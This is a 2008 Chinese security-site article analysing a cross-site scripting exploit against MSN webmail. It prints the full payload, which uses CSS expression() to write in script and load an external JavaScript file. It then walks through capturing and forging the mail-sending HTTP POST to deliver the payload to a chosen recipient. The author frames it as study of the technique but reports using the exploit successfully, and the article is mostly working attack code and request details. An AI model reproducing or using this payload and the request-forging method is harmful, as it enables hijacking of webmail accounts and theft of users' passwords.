安全中国首页 > 文章中心 > 跨站技术文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

MSN跨站漏洞分析(图)

更新时间:2008-8-17 1:36:23
责任编辑:池天
热 点:
早在几天前,听到同事说“朋友msn发来一个网页,自己输入了密码,结果过了几天后,MSN密码错误,可能是被盗了。”当时还问同事要地址,他却说找不到地址了。几天后朋友说看到幻影发出了msn跨站代码,于是自己下载exp研究半天,终于利用成功。

  原代码很乱,排版后如下:

1 <font color="ffffff">
2     <div id="jmp" style="display:none">nop</div>
3     <div id="ly" style="display:none">      //这几个DIV是用来分段存储exp内容的
4         function ok(){return true};
5         window.onerror=ok
6     </div>
7     <div id="tip" title="&lt;a style=&quot;display:none&quot;&gt;" style="display:none"></div>
8     <div id="tap" title="&lt;" style="display:none"></div>
9     <div id="tep" title="&gt;" style="display:none"></div>
10     <style>
11 //以下是EXP的开始,一个二元表达式内嵌利用代码。代码把div中存储的内容取出来然后加一起,形成了最终shellcode。
12         div{background-image:expression(
13             javascript:1?document.write(
14                     EC_tip.title+';top:'+EC_tap.title+'/a'+
15                     EC_tep.title+EC_tap.title+'script id=nop'+
16                     EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+
17                     EC_tep.title+EC_tap.title+
18                     'script src=http://localhost/1.js'+
19                     EC_tep.title+EC_tap.title+'/script'+
20                     EC_tep.title)
21                     :1=1);
22                 }
23         </style>
24 </font>

  不知道是哪个大牛发现的漏洞写出了代码。要知道MSN不可能对跨站的代码,也就是邮件内容不做过滤。所以这段代码一定是某牛的思维精华,精巧的绕过了MSN对邮件内容的层层验证。而我们要学习的是思想,漏洞代码这种东西,今天能用,明天人家就补上了。

  用DOM解析来分析代码,会容易些。首先看最外层,一对<font>标签。作者并不怎么用MSN来发信,所以不了解MSN邮箱的编辑模式,不了解怎样编辑邮件内容才能出现这对标签。不过最外面的标签既然可以这么写,说明MSN至少允许一部分HTML代码执行。测试给自己邮箱发信,发现MSN提供的邮箱不能直接发HTML,只能用自带编辑器给新建内容加样式。看来如果一定要发html,就要抓包了。

  邮件发送和接收协议分别是SMTP和POP,但是MSN却让我们从网站上发送邮件,把邮件提交给一个网页文件,这说明MSN在接收到我们给该网页所提交的信息后,在后台处理了那些过程。一个MSN发信的包里,有如下几个重要内容:

 

POST /mail/SendMessageLight.aspx?_ec=1&n=578891127 HTTP/1.1

 

  把信件内容提交给这个文件,之后发送过程由该文件在MSN服务器上执行。

 

Host: by111w.bay111.mail.live.com

 

  主机地址,这个要记下来, NC提交的时候用。

 

Content-Length: 1858

 

  发送包的长度,如果修改了包内容,也要相应修改包长度。

  COOKIE就不说了,一定要有的,证明你的身份,因为是HTTP协议,所以一旦登录过后退出了,之前抓到的cookie就无效了。

 

Content-Disposition: form-data; name="fTo"

notconn@hotmail.com
-----------------------------7d830d6a0738

 

  看到“fTo”了吧?顾名思义,这里需要填写信件发送到哪里。这里也要进行欺骗时一定要修改的地方之一。

 

Content-Disposition: form-data; name="fMessageBody"

<STRONG>ddddd</STRONG><div id="test" name="test" title="test">test</div><script>alert('s');</script>
-----------------------------7d830d6a0738

1 2 3 下一页

·上一篇: 温柔杀手-跨站Script攻击与防御
·下一篇: 暂时空缺
 
相关文章
一日一文章
 
一日一软件
一日一动画